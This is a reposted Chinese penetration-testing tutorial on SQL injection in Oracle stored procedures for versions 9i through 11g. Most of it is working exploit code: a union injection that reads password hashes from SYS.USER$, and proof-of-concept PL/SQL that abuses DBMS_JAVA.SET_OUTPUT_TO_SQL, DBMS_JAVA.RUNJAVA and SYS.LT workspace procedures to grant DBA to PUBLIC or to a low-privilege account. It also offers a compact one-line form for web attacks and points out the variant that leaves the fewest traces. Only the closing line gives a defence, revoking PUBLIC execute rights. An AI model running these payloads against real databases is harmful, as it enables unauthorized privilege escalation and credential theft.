渗透测试oracle11g

本文转载自吐司winxwin的文章。

一.  漏洞概要
漏洞描述: 
Oralce内部的一些存储过程或是函数存在SQL注入漏洞,利用这些漏洞我们可以将我们要执行的SQL语句或是危险函数注入到存储过程当中执行。
受影响版本:
Oracle 9i/10gR1/10gR2/11gR1
二.  原理分析
Oralce内部的一些存储过程或是函数存在SQL注入漏洞,利用这些漏洞我们可以将我们要执行的SQL语句或是危险函数注入到存储过程当中执行。
首先说一下存储过程注入的原理。下面我们自定义一个存在注入漏洞的存储过程,代码如下:
CREATE OR REPLACE PROCEDURE VULNPROC(P_OWNER VARCHAR2) AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(20000);
BEGIN
    DBMS_OUTPUT.ENABLE(1000000);
    OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ''' || P_OWNER || ''' AND OBJECT_TYPE=''LIBRARY''';
    LOOP
        FETCH CV INTO buffer;
        DBMS_OUTPUT.PUT_LINE(BUFFER);
        EXIT WHEN CV%NOTFOUND;
    END LOOP;
    CLOSE CV;
END;
/
SET SERVEROUTPUT ON
EXEC SYS.VULNPROC('SYS');
很明显这个是单纯的字符串拼接,参数P_OWNER是我们能够控制的,这里执行的SQL语句是:

SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = 'SYS' AND OBJECT_TYPE='LIBRARY';

但是如果我们执行的是如下代码:

EXEC SYS.VULNPROC('SYS'' UNION SELECT PASSWORD FROM SYS.USER$--');

依然执行成功,但实际执行的SQL:

SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = 'SYS' UNION SELECT PASSWORD FROM SYS.USER$--' AND OBJECT_TYPE='LIBRARY';


OK,下面转入正题。在Oracle 11g当中,我们可以利用DBMS_JAVA作为辅助注入的函数。在oracle10g时代,我们可以利用DBMS_SQL.EXECUTE辅助注入执行我们的SQL语句,但到了Oracle 11g由于安全机制的完善,不能再用dbms_sql.execute函数辅助注入,取而代之的是DBMS_JAVA.SET_OUTPUT_TO_SQL函数。首先来看一下DBMS_JAVA.SET_OUTPUT_TO_SQL的描述:

渗透测试oracle11g_第1张图片


这里参数STMT可以注入我们的SQL语句。
假如存在一个属主为SYS并且PUBLIC用户也有权限执行的存储过程VULNPROC,我们便可以利用注入将DBMS_JAVA.SET_OUTPUT_TO_SQL函数注入到VULNPROC中去,但这并不以意味着SET_OUTPUT_TO_SQL就会执行,我们还要想办法构造java输出来触发DBMS_JAVA.SET_OUTPUT_TO_SQL执行,通过反复查找发现在oracle/aurora/util中的Test.class中有system.out,代码如下所示:

渗透测试oracle11g_第2张图片


这样通过调用DBMS_JAVA.RUNJAVA执行Test.class文件(前文中提到利用DBMS_JVM_EXP_PERMS获取java执行权限),触发SET_OUTPUT_TO_SQL执行,进而以SYS权限执行我们插入的SQL命令。代码如下:
EXEC SYS.VULNPROC('FOO''||DBMS_JAVA.SET_OUTPUT_TO_SQL(''ID'',''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''; DBMS_OUTPUT.PUT_LINE(:1); END;'',''TEXT'')||''BAR');

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Test') FROM DUAL;


在Oracle 10g当中也存在类似的注入漏洞,例如SYS.LT.COMPRESSWORKSPACETREE、SYS.LT.MERGEWORKSPACE、SYS.LT.REMOVEWORKSPACE这几个存储过程,利用方法大同小异:

DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare 
pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO DBSNMP'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--');
SYS.LT.COMPRESSWORKSPACETREE('x''||dbms_sql.execute('||MYC||')||''--'); 
END;

这里首先定义一个游标MYC,然后利用存储过程的注入漏洞注入dbms_sql.execute函数执行我们的SQL。
三.  技术验证
3.1  11g当中的利用
因为未能找到11g下存在注入的存储过程,所以我们只能编写一个存在注入的来演示SET_OUTPUT_TO_SQL函数的利用,严格上讲这顶多算是一个意淫,不过可以留待以后真正发现oracle11g存在注入的存储过程时再利用。
下面给出PoC:
CREATE OR REPLACE PROCEDURE VULNPROC(P_OWNER VARCHAR2) AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(20000);
BEGIN
    DBMS_OUTPUT.ENABLE(1000000);
    OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ''' || P_OWNER || ''' AND OBJECT_TYPE=''LIBRARY''';
    LOOP
        FETCH CV INTO buffer;
        DBMS_OUTPUT.PUT_LINE(BUFFER);
        EXIT WHEN CV%NOTFOUND;
    END LOOP;
    CLOSE CV;
END;
/
EXEC SYS.VULNPROC('FOO''||DBMS_JAVA.SET_OUTPUT_TO_SQL(''ID'',''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO GENXOR''''; DBMS_OUTPUT.PUT_LINE(:1); END;'',''TEXT'')||''BAR');

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Test') FROM DUAL;
其实以上最后两句代码可以合为一句,这个在web渗透当中很实用,代码如下:
EXEC SYS.VULNPROC('FOO''||DBMS_JAVA.RUNJAVA(''oracle/aurora/util/Test''||DBMS_JAVA.SET_OUTPUT_TO_SQL(''ID'',''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO GENXOR''''; DBMS_OUTPUT.PUT_LINE(:1); END;'',''TEXT''))||''BAR');

下面是利用验证,首先以sys权限登录创建一个genxor账户,密码password,并只给CREATE SESSION权限,如图所示:

渗透测试oracle11g_第3张图片

 

渗透测试oracle11g_第4张图片


然后以sys权限创建存储过程VULNPROC,并将其执行权限赋个PUBLIC,如图所示:

渗透测试oracle11g_第5张图片


下面执行我们的PoC代码,将dba角色赋给genxor,如图

渗透测试oracle11g_第6张图片


3.2  9i/10g当中的利用
先给出PoC:
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare 
pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO GENXOR'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--');
SYS.LT.REMOVEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--'); 
END;
/
因为10g当中可以利用dbms_sql.execute方法,所以相对简单一些,SYS中的LT包中存在COMPRESSWORKSPACETREE、MERGEWORKSPACE、REMOVEWORKSPACE这三个存储过程,利用方法相同,但是经过测试发现利用REMOVEWORKSPACE最绿色环保无污染,因为利用COMPRESSWORKSPACETREE、MERGEWORKSPACE会遗留被创建的工作空间,并且无法直接删除,必须执行$ORACLE_HOME/rdbms/admin/owmuinst.plb脚本,卸载WORKSPACE MANAGER才能根除。利用过程如下:

渗透测试oracle11g_第7张图片


四.  总结
4.1  漏洞小结
关于oracle存储过程存在注入的问题,关键在于如何将SQL语句或是危险函数注入到存储过程中去以及如何触发函数执行。
4.2  防护方案
回收PUBLIC用户的DBMS_JAVA、LT、DBMS_JVM_EXP_PERMS以及DBMS_JAVA_TEST等package的执行权限。

你可能感兴趣的:(渗透测试oracle11g)